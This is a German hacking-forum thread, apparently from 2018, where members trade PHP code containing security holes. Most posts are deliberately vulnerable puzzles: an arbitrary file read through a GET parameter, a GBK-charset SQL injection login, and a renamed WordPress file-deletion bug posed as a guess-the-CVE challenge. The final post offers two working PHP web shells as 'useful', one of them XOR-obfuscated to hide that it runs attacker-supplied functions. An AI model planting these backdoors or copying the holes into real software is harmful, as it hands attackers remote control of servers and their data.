Jump to content

Willkommen Gast

Navigation

Links

Als Gast hast du nur eingeschränkten Zugriff!


Sign In 

Create Account

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Photo

[Suche] Code von Lücken

- - - - -

  • Please log in to reply
6 replies to this topic

#1
ProHex

ProHex

    Hacker

  • Moderator
  • Likes
    212
  • 219 posts
  • 185 Bedankt

Yo Leute!

Ich suche code von jeglicher Art von Sicherheitslücke in PHP die ihr finden könnt. So bringen wir mal etwas schwung rein.

 

 


  • hacked likes this

#2
tpw

tpw

    Leecher

  • Members
  • Pip
  • Likes
    3
  • 2 posts
  • 0 Bedankt

deliver_image.php:

<?php
$fp = fopen($_GET['name'], 'rb');
 
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));
 
fpassthru($fp);
exit;
?>


Edited by tpw, 06 July 2018 - 10:07 Uhr.

  • ProHex and SecurityFlaw like this

#3
ProHex

ProHex

    Hacker

  • Moderator
  • Likes
    212
  • 219 posts
  • 185 Bedankt

oh beginnt schonmal super! Freu mich über mehr, auch sehr komplexes zeug :D



#4
IRET

IRET

    Lamer

  • Members
  • PipPipPip
  • Likes
    74
  • 20 posts
  • 8 Bedankt
<?php
$db_host			= "localhost";
$db_name			= "vuln";
$db_user			= "root";
$db_pass			= "";



try
{
    $dbc = new PDO("mysql:host={$db_host};dbname={$db_name}", $db_user, $db_pass);
    $dbc->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $stmt = $dbc->prepare("SET NAMES gbk");
    $stmt->execute();
}
catch (PDOException $e)
{
    die("<div id=\"error\">Error connecting: ".$e->getMessage()."</div>");
}

function db_query($sql)
{
    $args = func_get_args();
    $stmt = $GLOBALS['dbc']->prepare($sql);
    for ($i = 1; $i < func_num_args(); $i++)
        $stmt->bindParam(":$i", $args[$i]);
    try { $stmt->execute(); }
    catch (PDOException $e) { echo "<div id=\"error\">Database error: ".$e->getMessage()."</div>"; }
    return $stmt;
}


if ($_POST && isset($_POST['user']) && isset($_POST['pwd']))
{
    $stmt = db_query("SELECT `id` FROM `users` WHERE `user` = :1 AND `pass` = :2", $_POST['user'], $_POST['pwd']);
    if ($stmt->rowCount() > 0)
    {
        echo "&hearts;";
    }
    else
    {
        echo "Yeah... You definitly got it...";
    }
}
else if (!$_POST)
{
    echo '<form method="POST">
            Username: <input type="text" name="user" placeholder="username"><br>
            Password: <input type="password" name="pwd" placeholder="password"><br>
            <input type="submit" value="Login">
          </form>';
}
else
{
    echo "No, there is no magic vuln here. Get back into the form.";
}


?>

  • PaulaAbdul, Ch!ller, ProHex and 1 other like this

#5
PaulaAbdul

PaulaAbdul

    Favoured Management

  • Administration
  • Likes
    3718
  • 2157 posts
  • 3712 Bedankt
  • 1337-699
  • verifiziert
  • Android [root]
  • Windows, Linux
<?php
$db_host			= "localhost";
$db_name			= "vuln";
$db_user			= "root";
$db_pass			= "";



try
{
    $dbc = new PDO("mysql:host={$db_host};dbname={$db_name}", $db_user, $db_pass);
    $dbc->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $stmt = $dbc->prepare("SET NAMES gbk");
    $stmt->execute();
}
catch (PDOException $e)
{
    die("<div id=\"error\">Error connecting: ".$e->getMessage()."</div>");
}

function db_query($sql)
{
    $args = func_get_args();
    $stmt = $GLOBALS['dbc']->prepare($sql);
    for ($i = 1; $i < func_num_args(); $i++)
        $stmt->bindParam(":$i", $args[$i]);
    try { $stmt->execute(); }
    catch (PDOException $e) { echo "<div id=\"error\">Database error: ".$e->getMessage()."</div>"; }
    return $stmt;
}


if ($_POST && isset($_POST['user']) && isset($_POST['pwd']))
{
    $stmt = db_query("SELECT `id` FROM `users` WHERE `user` = :1 AND `pass` = :2", $_POST['user'], $_POST['pwd']);
    if ($stmt->rowCount() > 0)
    {
        echo "&hearts;";
    }
    else
    {
        echo "Yeah... You definitly got it...";
    }
}
else if (!$_POST)
{
    echo '<form method="POST">
            Username: <input type="text" name="user" placeholder="username"><br>
            Password: <input type="password" name="pwd" placeholder="password"><br>
            <input type="submit" value="Login">
          </form>';
}
else
{
    echo "No, there is no magic vuln here. Get back into the form.";
}


?>

 

Brainfuck  ^_^


  • IRET likes this

401a3d5869.jpg

 

,,Der blaue Baum" von Prohex (2020)


#6
pi^2

pi^2

    Hacker

  • Premium Member
  • Likes
    273
  • 181 posts
  • 46 Bedankt

Wer bekommts raus (CVE)?

if (!empty($meta['dao']) ) {
    if (!$wpdb->get_row( $wpdb->prepare( "SELECT id FROM $wpdb->postmeta WHERE key = '_wp_attachment' AND val LIKE %s AND id <> %d", '%' . $wpdb->esc_like( $meta['dao'] ) . '%', $post_id)) ) {
	$tf = str_replace(basename($file), $meta['dao'], $file);
	$tf = apply_filters( 'wp_delete_file', $tf );
	@unlink( path_join($uploadpath['basedir'], $tf) );
    }
}

Die Variablen/Arrays wurden umbenannt damit das hier auch ne Challenge wird ;- )


  • ProHex, B1nary and SecurityFlaw like this

#7
SecurityFlaw

SecurityFlaw

    ██████████

  • Members
  • PipPipPipPipPipPipPipPipPip
  • Likes
    212
  • 256 posts
  • 112 Bedankt
  • Android, Android [root]
  • Windows, Linux

Nicht direkt eine Lücke aber nützlich:

<?php error_reporting(0); extract($_REQUEST); die($ctime($atime)); ?>

Oder lieber sowas?:

<?@$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

Edited by SecurityFlaw, 27 July 2018 - 14:08 Uhr.

  • IRET likes this



  Topic Forum Started By Stats Last Post Info

user(s) are reading this topic

members, guests, anonymous users


This topic has been visited by 31 user(s)


    Avni, B1nary, BlackDante, Ch!ller, cubik, DeepWater, dep0x, desmond, dev-0, fl4shx, Flex.Net, Framerater, gtawelt, hacked, hanshenkelman, IRET, kiwitone, leonalexkraus, matrix567, PadX18, PaulaAbdul, pi^2, ProHex, R3s1stanc3, R3V3R53, SecurityFlaw, Smn, sup3ria, tpw, z91, Zerobyte
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.